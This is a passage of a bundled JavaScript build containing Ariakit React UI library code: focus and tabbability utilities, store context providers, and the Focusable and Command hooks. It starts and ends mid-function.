2712 const [tagName, setTagName] = (0, import_react2.useState)(() => stringOrUndefined(type));
2713 useSafeLayoutEffect(() => {
2714 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
2715 setTagName((element == null ? void 0 : element.tagName.toLowerCase()) || stringOrUndefined(type));
2716 }, [refOrElement, type]);
2717 return tagName;
2718 }
2719 function useAttribute(refOrElement, attributeName, defaultValue2) {
2720 const initialValue2 = useInitialValue(defaultValue2);
2721 const [attribute, setAttribute2] = (0, import_react2.useState)(initialValue2);
2722 (0, import_react2.useEffect)(() => {
2723 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
2724 if (!element) return;
2725 const callback = () => {
2726 const value = element.getAttribute(attributeName);
2727 setAttribute2(value == null ? initialValue2 : value);
2728 };
2729 const observer = new MutationObserver(callback);
2730 observer.observe(element, { attributeFilter: [attributeName] });
2731 callback();
2732 return () => observer.disconnect();
2733 }, [refOrElement, attributeName, initialValue2]);
2734 return attribute;
2735 }
2736 function useUpdateEffect(effect, deps) {
2737 const mounted = (0, import_react2.useRef)(false);
2738 (0, import_react2.useEffect)(() => {
2739 if (mounted.current) {
2740 return effect();
2741 }
2742 mounted.current = true;
2743 }, deps);
2744 (0, import_react2.useEffect)(
2745 () => () => {
2746 mounted.current = false;
2747 },
2748 []
2749 );
2750 }
2751 function useForceUpdate() {
2752 return (0, import_react2.useReducer)(() => [], []);
2753 }
2754 function useBooleanEvent(booleanOrCallback) {
2755 return useEvent(
2756 typeof booleanOrCallback === "function" ? booleanOrCallback : () => booleanOrCallback
2757 );
2758 }
2759 function useWrapElement(props, callback, deps = []) {
2760 const wrapElement = (0, import_react2.useCallback)(
2761 (element) => {
2762 if (props.wrapElement) {
2763 element = props.wrapElement(element);
2764 }
2765 return callback(element);
2766 },
2767 [...deps, props.wrapElement]
2768 );
2769 return { ...props, wrapElement };
2770 }
2771 function usePortalRef(portalProp = false, portalRefProp) {
2772 const [portalNode, setPortalNode] = (0, import_react2.useState)(null);
2773 const portalRef = useMergeRefs(setPortalNode, portalRefProp);
2774 const domReady = !portalProp || portalNode;
2775 return { portalRef, portalNode, domReady };
2776 }
2777 function useMetadataProps(props, key, value) {
2778 const parent = props.onLoadedMetadataCapture;
2779 const onLoadedMetadataCapture = (0, import_react2.useMemo)(() => {
2780 return Object.assign(() => {
2781 }, { ...parent, [key]: value });
2782 }, [parent, key, value]);
2783 return [parent == null ? void 0 : parent[key], { onLoadedMetadataCapture }];
2784 }
2785 var hasInstalledGlobalEventListeners = false;
2786 function useIsMouseMoving() {
2787 (0, import_react2.useEffect)(() => {
2788 if (hasInstalledGlobalEventListeners) return;
2789 addGlobalEventListener("mousemove", setMouseMoving, true);
2790 addGlobalEventListener("mousedown", resetMouseMoving, true);
2791 addGlobalEventListener("mouseup", resetMouseMoving, true);
2792 addGlobalEventListener("keydown", resetMouseMoving, true);
2793 addGlobalEventListener("scroll", resetMouseMoving, true);
2794 hasInstalledGlobalEventListeners = true;
2795 }, []);
2796 const isMouseMoving = useEvent(() => mouseMoving);
2797 return isMouseMoving;
2798 }
2799 var mouseMoving = false;
2800 var previousScreenX = 0;
2801 var previousScreenY = 0;
2802 function hasMouseMovement(event) {
2803 const movementX = event.movementX || event.screenX - previousScreenX;
2804 const movementY = event.movementY || event.screenY - previousScreenY;
2805 previousScreenX = event.screenX;
2806 previousScreenY = event.screenY;
2807 return movementX || movementY || false;
2808 }
2809 function setMouseMoving(event) {
2810 if (!hasMouseMovement(event)) return;
2811 mouseMoving = true;
2812 }
2813 function resetMouseMoving() {
2814 mouseMoving = false;
2815 }
2816
2817 // node_modules/@ariakit/react-core/esm/__chunks/GWSL6KNJ.js
2818 var React2 = __toESM(require_react(), 1);
2819 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
2820 function forwardRef2(render) {
2821 const Role3 = React2.forwardRef(
2822 // @ts-ignore Incompatible with React 19 types. Ignore for now.
2823 (props, ref) => render({ ...props, ref })
2824 );
2825 Role3.displayName = render.displayName || render.name;
2826 return Role3;
2827 }
2828 function memo2(Component9, propsAreEqual) {
2829 return React2.memo(Component9, propsAreEqual);
2830 }
2831 function createElement(Type, props) {
2832 const { wrapElement, render, ...rest } = props;
2833 const mergedRef = useMergeRefs(props.ref, getRefProperty(render));
2834 let element;
2835 if (React2.isValidElement(render)) {
2836 const renderProps = {
2837 // @ts-ignore Incompatible with React 19 types. Ignore for now.
2838 ...render.props,
2839 ref: mergedRef
2840 };
2841 element = React2.cloneElement(render, mergeProps(rest, renderProps));
2842 } else if (render) {
2843 element = render(rest);
2844 } else {
2845 element = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(Type, { ...rest });
2846 }
2847 if (wrapElement) {
2848 return wrapElement(element);
2849 }
2850 return element;
2851 }
2852 function createHook(useProps) {
2853 const useRole3 = (props = {}) => {
2854 return useProps(props);
2855 };
2856 useRole3.displayName = useProps.name;
2857 return useRole3;
2858 }
2859 function createStoreContext(providers = [], scopedProviders = []) {
2860 const context = React2.createContext(void 0);
2861 const scopedContext = React2.createContext(void 0);
2862 const useContext210 = () => React2.useContext(context);
2863 const useScopedContext = (onlyScoped = false) => {
2864 const scoped = React2.useContext(scopedContext);
2865 const store = useContext210();
2866 if (onlyScoped) return scoped;
2867 return scoped || store;
2868 };
2869 const useProviderContext = () => {
2870 const scoped = React2.useContext(scopedContext);
2871 const store = useContext210();
2872 if (scoped && scoped === store) return;
2873 return store;
2874 };
2875 const ContextProvider = (props) => {
2876 return providers.reduceRight(
2877 (children, Provider4) => /* @__PURE__ */ (0, import_jsx_runtime.jsx)(Provider4, { ...props, children }),
2878 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(context.Provider, { ...props })
2879 );
2880 };
2881 const ScopedContextProvider = (props) => {
2882 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ContextProvider, { ...props, children: scopedProviders.reduceRight(
2883 (children, Provider4) => /* @__PURE__ */ (0, import_jsx_runtime.jsx)(Provider4, { ...props, children }),
2884 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(scopedContext.Provider, { ...props })
2885 ) });
2886 };
2887 return {
2888 context,
2889 scopedContext,
2890 useContext: useContext210,
2891 useScopedContext,
2892 useProviderContext,
2893 ContextProvider,
2894 ScopedContextProvider
2895 };
2896 }
2897
2898 // node_modules/@ariakit/react-core/esm/__chunks/SMPCIMZM.js
2899 var ctx = createStoreContext();
2900 var useCollectionContext = ctx.useContext;
2901 var useCollectionScopedContext = ctx.useScopedContext;
2902 var useCollectionProviderContext = ctx.useProviderContext;
2903 var CollectionContextProvider = ctx.ContextProvider;
2904 var CollectionScopedContextProvider = ctx.ScopedContextProvider;
2905
2906 // node_modules/@ariakit/react-core/esm/__chunks/AVVXDJMZ.js
2907 var import_react3 = __toESM(require_react(), 1);
2908 var ctx2 = createStoreContext(
2909 [CollectionContextProvider],
2910 [CollectionScopedContextProvider]
2911 );
2912 var useCompositeContext = ctx2.useContext;
2913 var useCompositeScopedContext = ctx2.useScopedContext;
2914 var useCompositeProviderContext = ctx2.useProviderContext;
2915 var CompositeContextProvider = ctx2.ContextProvider;
2916 var CompositeScopedContextProvider = ctx2.ScopedContextProvider;
2917 var CompositeItemContext = (0, import_react3.createContext)(
2918 void 0
2919 );
2920 var CompositeRowContext = (0, import_react3.createContext)(
2921 void 0
2922 );
2923
2924 // node_modules/@ariakit/react-core/esm/__chunks/NF43FNG5.js
2925 var ctx3 = createStoreContext(
2926 [CompositeContextProvider],
2927 [CompositeScopedContextProvider]
2928 );
2929 var useTabContext = ctx3.useContext;
2930 var useTabScopedContext = ctx3.useScopedContext;
2931 var useTabProviderContext = ctx3.useProviderContext;
2932 var TabContextProvider = ctx3.ContextProvider;
2933 var TabScopedContextProvider = ctx3.ScopedContextProvider;
2934
2935 // node_modules/@ariakit/react-core/esm/__chunks/5VQZOHHZ.js
2936 var NULL_ITEM = { id: null };
2937 function flipItems(items, activeId, shouldInsertNullItem = false) {
2938 const index2 = items.findIndex((item2) => item2.id === activeId);
2939 return [
2940 ...items.slice(index2 + 1),
2941 ...shouldInsertNullItem ? [NULL_ITEM] : [],
2942 ...items.slice(0, index2)
2943 ];
2944 }
2945 function findFirstEnabledItem(items, excludeId) {
2946 return items.find((item2) => {
2947 if (excludeId) {
2948 return !item2.disabled && item2.id !== excludeId;
2949 }
2950 return !item2.disabled;
2951 });
2952 }
2953 function getEnabledItem(store, id3) {
2954 if (!id3) return null;
2955 return store.item(id3) || null;
2956 }
2957 function groupItemsByRows(items) {
2958 const rows = [];
2959 for (const item2 of items) {
2960 const row = rows.find((currentRow) => {
2961 var _a;
2962 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item2.rowId;
2963 });
2964 if (row) {
2965 row.push(item2);
2966 } else {
2967 rows.push([item2]);
2968 }
2969 }
2970 return rows;
2971 }
2972 function selectTextField(element, collapseToEnd = false) {
2973 if (isTextField(element)) {
2974 element.setSelectionRange(
2975 collapseToEnd ? element.value.length : 0,
2976 element.value.length
2977 );
2978 } else if (element.isContentEditable) {
2979 const selection = getDocument(element).getSelection();
2980 selection == null ? void 0 : selection.selectAllChildren(element);
2981 if (collapseToEnd) {
2982 selection == null ? void 0 : selection.collapseToEnd();
2983 }
2984 }
2985 }
2986 var FOCUS_SILENTLY = /* @__PURE__ */ Symbol("FOCUS_SILENTLY");
2987 function focusSilently(element) {
2988 element[FOCUS_SILENTLY] = true;
2989 element.focus({ preventScroll: true });
2990 }
2991 function silentlyFocused(element) {
2992 const isSilentlyFocused = element[FOCUS_SILENTLY];
2993 delete element[FOCUS_SILENTLY];
2994 return isSilentlyFocused;
2995 }
2996 function isItem(store, element, exclude) {
2997 if (!element) return false;
2998 if (element === exclude) return false;
2999 const item2 = store.item(element.id);
3000 if (!item2) return false;
3001 if (exclude && item2.element === exclude) return false;
3002 return true;
3003 }
3004
3005 // node_modules/@ariakit/react-core/esm/__chunks/Z2O3VLAQ.js
3006 var import_react4 = __toESM(require_react(), 1);
3007 var TagName = "div";
3008 var useCollectionItem = createHook(
3009 function useCollectionItem2({
3010 store,
3011 shouldRegisterItem = true,
3012 getItem = identity,
3013 // @ts-expect-error This prop may come from a collection renderer.
3014 element,
3015 ...props
3016 }) {
3017 const context = useCollectionContext();
3018 store = store || context;
3019 const id3 = useId(props.id);
3020 const ref = (0, import_react4.useRef)(element);
3021 (0, import_react4.useEffect)(() => {
3022 const element2 = ref.current;
3023 if (!id3) return;
3024 if (!element2) return;
3025 if (!shouldRegisterItem) return;
3026 const item2 = getItem({ id: id3, element: element2 });
3027 return store == null ? void 0 : store.renderItem(item2);
3028 }, [id3, shouldRegisterItem, getItem, store]);
3029 props = {
3030 ...props,
3031 ref: useMergeRefs(ref, props.ref)
3032 };
3033 return removeUndefinedValues(props);
3034 }
3035 );
3036 var CollectionItem = forwardRef2(function CollectionItem2(props) {
3037 const htmlProps = useCollectionItem(props);
3038 return createElement(TagName, htmlProps);
3039 });
3040
3041 // node_modules/@ariakit/react-core/esm/__chunks/SWN3JYXT.js
3042 var import_react5 = __toESM(require_react(), 1);
3043 var FocusableContext = (0, import_react5.createContext)(true);
3044
3045 // node_modules/@ariakit/core/esm/utils/focus.js
3046 var selector = "input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";
3047 function hasNegativeTabIndex(element) {
3048 const tabIndex = Number.parseInt(element.getAttribute("tabindex") || "0", 10);
3049 return tabIndex < 0;
3050 }
3051 function isFocusable(element) {
3052 if (!element.matches(selector)) return false;
3053 if (!isVisible(element)) return false;
3054 if (element.closest("[inert]")) return false;
3055 return true;
3056 }
3057 function isTabbable(element) {
3058 if (!isFocusable(element)) return false;
3059 if (hasNegativeTabIndex(element)) return false;
3060 if (!("form" in element)) return true;
3061 if (!element.form) return true;
3062 if (element.checked) return true;
3063 if (element.type !== "radio") return true;
3064 const radioGroup = element.form.elements.namedItem(element.name);
3065 if (!radioGroup) return true;
3066 if (!("length" in radioGroup)) return true;
3067 const activeElement = getActiveElement(element);
3068 if (!activeElement) return true;
3069 if (activeElement === element) return true;
3070 if (!("form" in activeElement)) return true;
3071 if (activeElement.form !== element.form) return true;
3072 if (activeElement.name !== element.name) return true;
3073 return false;
3074 }
3075 function getAllFocusableIn(container, includeContainer) {
3076 const elements2 = Array.from(
3077 container.querySelectorAll(selector)
3078 );
3079 if (includeContainer) {
3080 elements2.unshift(container);
3081 }
3082 const focusableElements2 = elements2.filter(isFocusable);
3083 focusableElements2.forEach((element, i3) => {
3084 var _a;
3085 if (!isFrame(element)) return;
3086 const frameBody = (_a = element.contentDocument) == null ? void 0 : _a.body;
3087 if (!frameBody) return;
3088 focusableElements2.splice(i3, 1, ...getAllFocusableIn(frameBody));
3089 });
3090 return focusableElements2;
3091 }
3092 function getAllTabbableIn(container, includeContainer, fallbackToFocusable) {
3093 const elements2 = Array.from(
3094 container.querySelectorAll(selector)
3095 );
3096 const tabbableElements = elements2.filter(isTabbable);
3097 if (includeContainer && isTabbable(container)) {
3098 tabbableElements.unshift(container);
3099 }
3100 tabbableElements.forEach((element, i3) => {
3101 var _a;
3102 if (!isFrame(element)) return;
3103 const frameBody = (_a = element.contentDocument) == null ? void 0 : _a.body;
3104 if (!frameBody) return;
3105 const allFrameTabbable = getAllTabbableIn(
3106 frameBody,
3107 false,
3108 fallbackToFocusable
3109 );
3110 tabbableElements.splice(i3, 1, ...allFrameTabbable);
3111 });
3112 if (!tabbableElements.length && fallbackToFocusable) {
3113 return elements2;
3114 }
3115 return tabbableElements;
3116 }
3117 function getFirstTabbableIn(container, includeContainer, fallbackToFocusable) {
3118 const [first] = getAllTabbableIn(
3119 container,
3120 includeContainer,
3121 fallbackToFocusable
3122 );
3123 return first || null;
3124 }
3125 function getNextTabbableIn(container, includeContainer, fallbackToFirst, fallbackToFocusable) {
3126 const activeElement = getActiveElement(container);
3127 const allFocusable = getAllFocusableIn(container, includeContainer);
3128 const activeIndex = allFocusable.indexOf(activeElement);
3129 const nextFocusableElements = allFocusable.slice(activeIndex + 1);
3130 return nextFocusableElements.find(isTabbable) || (fallbackToFirst ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? nextFocusableElements[0] : null) || null;
3131 }
3132 function getNextTabbable(fallbackToFirst, fallbackToFocusable) {
3133 return getNextTabbableIn(
3134 document.body,
3135 false,
3136 fallbackToFirst,
3137 fallbackToFocusable
3138 );
3139 }
3140 function getPreviousTabbableIn(container, includeContainer, fallbackToLast, fallbackToFocusable) {
3141 const activeElement = getActiveElement(container);
3142 const allFocusable = getAllFocusableIn(container, includeContainer).reverse();
3143 const activeIndex = allFocusable.indexOf(activeElement);
3144 const previousFocusableElements = allFocusable.slice(activeIndex + 1);
3145 return previousFocusableElements.find(isTabbable) || (fallbackToLast ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? previousFocusableElements[0] : null) || null;
3146 }
3147 function getPreviousTabbable(fallbackToFirst, fallbackToFocusable) {
3148 return getPreviousTabbableIn(
3149 document.body,
3150 false,
3151 fallbackToFirst,
3152 fallbackToFocusable
3153 );
3154 }
3155 function getClosestFocusable(element) {
3156 while (element && !isFocusable(element)) {
3157 element = element.closest(selector);
3158 }
3159 return element || null;
3160 }
3161 function hasFocus(element) {
3162 const activeElement = getActiveElement(element);
3163 if (!activeElement) return false;
3164 if (activeElement === element) return true;
3165 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
3166 if (!activeDescendant) return false;
3167 return activeDescendant === element.id;
3168 }
3169 function hasFocusWithin(element) {
3170 const activeElement = getActiveElement(element);
3171 if (!activeElement) return false;
3172 if (contains(element, activeElement)) return true;
3173 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
3174 if (!activeDescendant) return false;
3175 if (!("id" in element)) return false;
3176 if (activeDescendant === element.id) return true;
3177 return !!element.querySelector(`#${CSS.escape(activeDescendant)}`);
3178 }
3179 function focusIfNeeded(element) {
3180 if (!hasFocusWithin(element) && isFocusable(element)) {
3181 element.focus();
3182 }
3183 }
3184 function disableFocus(element) {
3185 var _a;
3186 const currentTabindex = (_a = element.getAttribute("tabindex")) != null ? _a : "";
3187 element.setAttribute("data-tabindex", currentTabindex);
3188 element.setAttribute("tabindex", "-1");
3189 }
3190 function disableFocusIn(container, includeContainer) {
3191 const tabbableElements = getAllTabbableIn(container, includeContainer);
3192 for (const element of tabbableElements) {
3193 disableFocus(element);
3194 }
3195 }
3196 function restoreFocusIn(container) {
3197 const elements2 = container.querySelectorAll("[data-tabindex]");
3198 const restoreTabIndex = (element) => {
3199 const tabindex = element.getAttribute("data-tabindex");
3200 element.removeAttribute("data-tabindex");
3201 if (tabindex) {
3202 element.setAttribute("tabindex", tabindex);
3203 } else {
3204 element.removeAttribute("tabindex");
3205 }
3206 };
3207 if (container.hasAttribute("data-tabindex")) {
3208 restoreTabIndex(container);
3209 }
3210 for (const element of elements2) {
3211 restoreTabIndex(element);
3212 }
3213 }
3214 function focusIntoView(element, options2) {
3215 if (!("scrollIntoView" in element)) {
3216 element.focus();
3217 } else {
3218 element.focus({ preventScroll: true });
3219 element.scrollIntoView({ block: "nearest", inline: "nearest", ...options2 });
3220 }
3221 }
3222
3223 // node_modules/@ariakit/react-core/esm/__chunks/U6HHPQDW.js
3224 var import_react6 = __toESM(require_react(), 1);
3225 var TagName2 = "div";
3226 var isSafariBrowser = isSafari();
3227 var alwaysFocusVisibleInputTypes = [
3228 "text",
3229 "search",
3230 "url",
3231 "tel",
3232 "email",
3233 "password",
3234 "number",
3235 "date",
3236 "month",
3237 "week",
3238 "time",
3239 "datetime",
3240 "datetime-local"
3241 ];
3242 var safariFocusAncestorSymbol = /* @__PURE__ */ Symbol("safariFocusAncestor");
3243 function isSafariFocusAncestor(element) {
3244 if (!element) return false;
3245 return !!element[safariFocusAncestorSymbol];
3246 }
3247 function markSafariFocusAncestor(element, value) {
3248 if (!element) return;
3249 element[safariFocusAncestorSymbol] = value;
3250 }
3251 function isAlwaysFocusVisible(element) {
3252 const { tagName, readOnly, type } = element;
3253 if (tagName === "TEXTAREA" && !readOnly) return true;
3254 if (tagName === "SELECT" && !readOnly) return true;
3255 if (tagName === "INPUT" && !readOnly) {
3256 return alwaysFocusVisibleInputTypes.includes(type);
3257 }
3258 if (element.isContentEditable) return true;
3259 const role = element.getAttribute("role");
3260 if (role === "combobox" && element.dataset.name) {
3261 return true;
3262 }
3263 return false;
3264 }
3265 function getLabels(element) {
3266 if ("labels" in element) {
3267 return element.labels;
3268 }
3269 return null;
3270 }
3271 function isNativeCheckboxOrRadio(element) {
3272 const tagName = element.tagName.toLowerCase();
3273 if (tagName === "input" && element.type) {
3274 return element.type === "radio" || element.type === "checkbox";
3275 }
3276 return false;
3277 }
3278 function isNativeTabbable(tagName) {
3279 if (!tagName) return true;
3280 return tagName === "button" || tagName === "summary" || tagName === "input" || tagName === "select" || tagName === "textarea" || tagName === "a";
3281 }
3282 function supportsDisabledAttribute(tagName) {
3283 if (!tagName) return true;
3284 return tagName === "button" || tagName === "input" || tagName === "select" || tagName === "textarea";
3285 }
3286 function getTabIndex(focusable, trulyDisabled, nativeTabbable, supportsDisabled, tabIndexProp) {
3287 if (!focusable) {
3288 return tabIndexProp;
3289 }
3290 if (trulyDisabled) {
3291 if (nativeTabbable && !supportsDisabled) {
3292 return -1;
3293 }
3294 return;
3295 }
3296 if (nativeTabbable) {
3297 return tabIndexProp;
3298 }
3299 return tabIndexProp || 0;
3300 }
3301 function useDisableEvent(onEvent, disabled) {
3302 return useEvent((event) => {
3303 onEvent == null ? void 0 : onEvent(event);
3304 if (event.defaultPrevented) return;
3305 if (disabled) {
3306 event.stopPropagation();
3307 event.preventDefault();
3308 }
3309 });
3310 }
3311 var hasInstalledGlobalEventListeners2 = false;
3312 var isKeyboardModality = true;
3313 function onGlobalMouseDown(event) {
3314 const target = event.target;
3315 if (target && "hasAttribute" in target) {
3316 if (!target.hasAttribute("data-focus-visible")) {
3317 isKeyboardModality = false;
3318 }
3319 }
3320 }
3321 function onGlobalKeyDown(event) {
3322 if (event.metaKey) return;
3323 if (event.ctrlKey) return;
3324 if (event.altKey) return;
3325 isKeyboardModality = true;
3326 }
3327 var useFocusable = createHook(
3328 function useFocusable2({
3329 focusable = true,
3330 accessibleWhenDisabled,
3331 autoFocus,
3332 onFocusVisible,
3333 ...props
3334 }) {
3335 const ref = (0, import_react6.useRef)(null);
3336 (0, import_react6.useEffect)(() => {
3337 if (!focusable) return;
3338 if (hasInstalledGlobalEventListeners2) return;
3339 addGlobalEventListener("mousedown", onGlobalMouseDown, true);
3340 addGlobalEventListener("keydown", onGlobalKeyDown, true);
3341 hasInstalledGlobalEventListeners2 = true;
3342 }, [focusable]);
3343 if (isSafariBrowser) {
3344 (0, import_react6.useEffect)(() => {
3345 if (!focusable) return;
3346 const element = ref.current;
3347 if (!element) return;
3348 if (!isNativeCheckboxOrRadio(element)) return;
3349 const labels = getLabels(element);
3350 if (!labels) return;
3351 const onMouseUp = () => queueMicrotask(() => element.focus());
3352 for (const label of labels) {
3353 label.addEventListener("mouseup", onMouseUp);
3354 }
3355 return () => {
3356 for (const label of labels) {
3357 label.removeEventListener("mouseup", onMouseUp);
3358 }
3359 };
3360 }, [focusable]);
3361 }
3362 const disabled = focusable && disabledFromProps(props);
3363 const trulyDisabled = !!disabled && !accessibleWhenDisabled;
3364 const [focusVisible, setFocusVisible] = (0, import_react6.useState)(false);
3365 (0, import_react6.useEffect)(() => {
3366 if (!focusable) return;
3367 if (trulyDisabled && focusVisible) {
3368 setFocusVisible(false);
3369 }
3370 }, [focusable, trulyDisabled, focusVisible]);
3371 (0, import_react6.useEffect)(() => {
3372 if (!focusable) return;
3373 if (!focusVisible) return;
3374 const element = ref.current;
3375 if (!element) return;
3376 if (typeof IntersectionObserver === "undefined") return;
3377 const observer = new IntersectionObserver(() => {
3378 if (!isFocusable(element)) {
3379 setFocusVisible(false);
3380 }
3381 });
3382 observer.observe(element);
3383 return () => observer.disconnect();
3384 }, [focusable, focusVisible]);
3385 const onKeyPressCapture = useDisableEvent(
3386 props.onKeyPressCapture,
3387 disabled
3388 );
3389 const onMouseDownCapture = useDisableEvent(
3390 props.onMouseDownCapture,
3391 disabled
3392 );
3393 const onClickCapture = useDisableEvent(props.onClickCapture, disabled);
3394 const onMouseDownProp = props.onMouseDown;
3395 const onMouseDown = useEvent((event) => {
3396 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
3397 if (event.defaultPrevented) return;
3398 if (!focusable) return;
3399 const element = event.currentTarget;
3400 if (!isSafariBrowser) return;
3401 if (isPortalEvent(event)) return;
3402 if (!isButton(element) && !isNativeCheckboxOrRadio(element)) return;
3403 let receivedFocus = false;
3404 const onFocus = () => {
3405 receivedFocus = true;
3406 };
3407 const options2 = { capture: true, once: true };
3408 element.addEventListener("focusin", onFocus, options2);
3409 const focusableContainer = getClosestFocusable(element.parentElement);
3410 markSafariFocusAncestor(focusableContainer, true);
3411 queueBeforeEvent(element, "mouseup", () => {
3412 element.removeEventListener("focusin", onFocus, true);
3413 markSafariFocusAncestor(focusableContainer, false);
3414 if (receivedFocus) return;
3415 focusIfNeeded(element);
3416 });
3417 });
3418 const handleFocusVisible = (event, currentTarget) => {
3419 if (currentTarget) {
3420 event.currentTarget = currentTarget;
3421 }
3422 if (!focusable) return;
3423 const element = event.currentTarget;
3424 if (!element) return;
3425 if (!hasFocus(element)) return;
3426 onFocusVisible == null ? void 0 : onFocusVisible(event);
3427 if (event.defaultPrevented) return;
3428 element.dataset.focusVisible = "true";
3429 setFocusVisible(true);
3430 };
3431 const onKeyDownCaptureProp = props.onKeyDownCapture;
3432 const onKeyDownCapture = useEvent((event) => {
3433 onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
3434 if (event.defaultPrevented) return;
3435 if (!focusable) return;
3436 if (focusVisible) return;
3437 if (event.metaKey) return;
3438 if (event.altKey) return;
3439 if (event.ctrlKey) return;
3440 if (!isSelfTarget(event)) return;
3441 const element = event.currentTarget;
3442 const applyFocusVisible = () => handleFocusVisible(event, element);
3443 queueBeforeEvent(element, "focusout", applyFocusVisible);
3444 });
3445 const onFocusCaptureProp = props.onFocusCapture;
3446 const onFocusCapture = useEvent((event) => {
3447 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
3448 if (event.defaultPrevented) return;
3449 if (!focusable) return;
3450 if (!isSelfTarget(event)) {
3451 setFocusVisible(false);
3452 return;
3453 }
3454 const element = event.currentTarget;
3455 const applyFocusVisible = () => handleFocusVisible(event, element);
3456 if (isKeyboardModality || isAlwaysFocusVisible(event.target)) {
3457 queueBeforeEvent(event.target, "focusout", applyFocusVisible);
3458 } else {
3459 setFocusVisible(false);
3460 }
3461 });
3462 const onBlurProp = props.onBlur;
3463 const onBlur = useEvent((event) => {
3464 onBlurProp == null ? void 0 : onBlurProp(event);
3465 if (!focusable) return;
3466 if (!isFocusEventOutside(event)) return;
3467 event.currentTarget.removeAttribute("data-focus-visible");
3468 setFocusVisible(false);
3469 });
3470 const autoFocusOnShow = (0, import_react6.useContext)(FocusableContext);
3471 const autoFocusRef = useEvent((element) => {
3472 if (!focusable) return;
3473 if (!autoFocus) return;
3474 if (!element) return;
3475 if (!autoFocusOnShow) return;
3476 queueMicrotask(() => {
3477 if (hasFocus(element)) return;
3478 if (!isFocusable(element)) return;
3479 element.focus();
3480 });
3481 });
3482 const tagName = useTagName(ref);
3483 const nativeTabbable = focusable && isNativeTabbable(tagName);
3484 const supportsDisabled = focusable && supportsDisabledAttribute(tagName);
3485 const styleProp = props.style;
3486 const style2 = (0, import_react6.useMemo)(() => {
3487 if (trulyDisabled) {
3488 return { pointerEvents: "none", ...styleProp };
3489 }
3490 return styleProp;
3491 }, [trulyDisabled, styleProp]);
3492 props = {
3493 "data-focus-visible": focusable && focusVisible || void 0,
3494 "data-autofocus": autoFocus || void 0,
3495 "aria-disabled": disabled || void 0,
3496 ...props,
3497 ref: useMergeRefs(ref, autoFocusRef, props.ref),
3498 style: style2,
3499 tabIndex: getTabIndex(
3500 focusable,
3501 trulyDisabled,
3502 nativeTabbable,
3503 supportsDisabled,
3504 props.tabIndex
3505 ),
3506 disabled: supportsDisabled && trulyDisabled ? true : void 0,
3507 // TODO: Test Focusable contentEditable.
3508 contentEditable: disabled ? void 0 : props.contentEditable,
3509 onKeyPressCapture,
3510 onClickCapture,
3511 onMouseDownCapture,
3512 onMouseDown,
3513 onKeyDownCapture,
3514 onFocusCapture,
3515 onBlur
3516 };
3517 return removeUndefinedValues(props);
3518 }
3519 );
3520 var Focusable = forwardRef2(function Focusable2(props) {
3521 const htmlProps = useFocusable(props);
3522 return createElement(TagName2, htmlProps);
3523 });
3524
3525 // node_modules/@ariakit/react-core/esm/__chunks/PZ3OL7I2.js
3526 var import_react7 = __toESM(require_react(), 1);
3527 var TagName3 = "button";
3528 function isNativeClick(event) {
3529 if (!event.isTrusted) return false;
3530 const element = event.currentTarget;
3531 if (event.key === "Enter") {
3532 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "A";
3533 }
3534 if (event.key === " ") {
3535 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "INPUT" || element.tagName === "SELECT";
3536 }
3537 return false;
3538 }
3539 var symbol = /* @__PURE__ */ Symbol("command");
3540 var useCommand = createHook(
3541 function useCommand2({ clickOnEnter = true, clickOnSpace = true, ...props }) {
3542 const ref = (0, import_react7.useRef)(null);
3543 const [isNativeButton, setIsNativeButton] = (0, import_react7.useState)(false);
3544 (0, import_react7.useEffect)(() => {
3545 if (!ref.current) return;
3546 setIsNativeButton(isButton(ref.current));
3547 }, []);
3548 const [active, setActive] = (0, import_react7.useState)(false);
3549 const activeRef = (0, import_react7.useRef)(false);
3550 const disabled = disabledFromProps(props);
3551 const [isDuplicate, metadataProps] = useMetadataProps(props, symbol, true);
3552 const onKeyDownProp = props.onKeyDown;
3553 const onKeyDown = useEvent((event) => {
3554 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
3555 const element = event.currentTarget;
3556 if (event.defaultPrevented) return;
3557 if (isDuplicate) return;
3558 if (disabled) return;
3559 if (!isSelfTarget(event)) return;
3560 if (isTextField(element)) return;
3561 if (element.isContentEditable) return;
3562 const isEnter = clickOnEnter && event.key === "Enter";
3563 const isSpace = clickOnSpace && event.key === " ";
3564 const shouldPreventEnter = event.key === "Enter" && !clickOnEnter;
3565 const shouldPreventSpace = event.key === " " && !clickOnSpace;
3566 if (shouldPreventEnter || shouldPreventSpace) {
3567 event.preventDefault();
3568 return;
3569 }
3570 if (isEnter || isSpace) {
3571 const nativeClick = isNativeClick(event);
3572 if (isEnter) {
3573 if (!nativeClick) {
3574 event.preventDefault();
3575 const { view, ...eventInit } = event;
3576 const click = () => fireClickEvent(element, eventInit);
3577 if (isFirefox()) {
3578 queueBeforeEvent(element, "keyup", click);
3579 } else {
3580 queueMicrotask(click);
3581 }
3582 }
3583 } else if (isSpace) {
3584 activeRef.current = true;
3585 if (!nativeClick) {
3586 event.preventDefault();
3587 setActive(true);
3588 }
3589 }
3590 }
3591 });
3592 const onKeyUpProp = props.onKeyUp;
3593 const onKeyUp = useEvent((event) => {
3594 onKeyUpProp == null ? void 0 : onKeyUpProp(event);
3595 if (event.defaultPrevented) return;
3596 if (isDuplicate) return;
3597 if (disabled) return;
3598 if (event.metaKey) return;
3599 const isSpace = clickOnSpace && event.key === " ";
3600 if (activeRef.current && isSpace) {
3601 activeRef.current = false;
3602 if (!isNativeClick(event)) {
3603 event.preventDefault();
3604 setActive(false);
3605 const element = event.currentTarget;
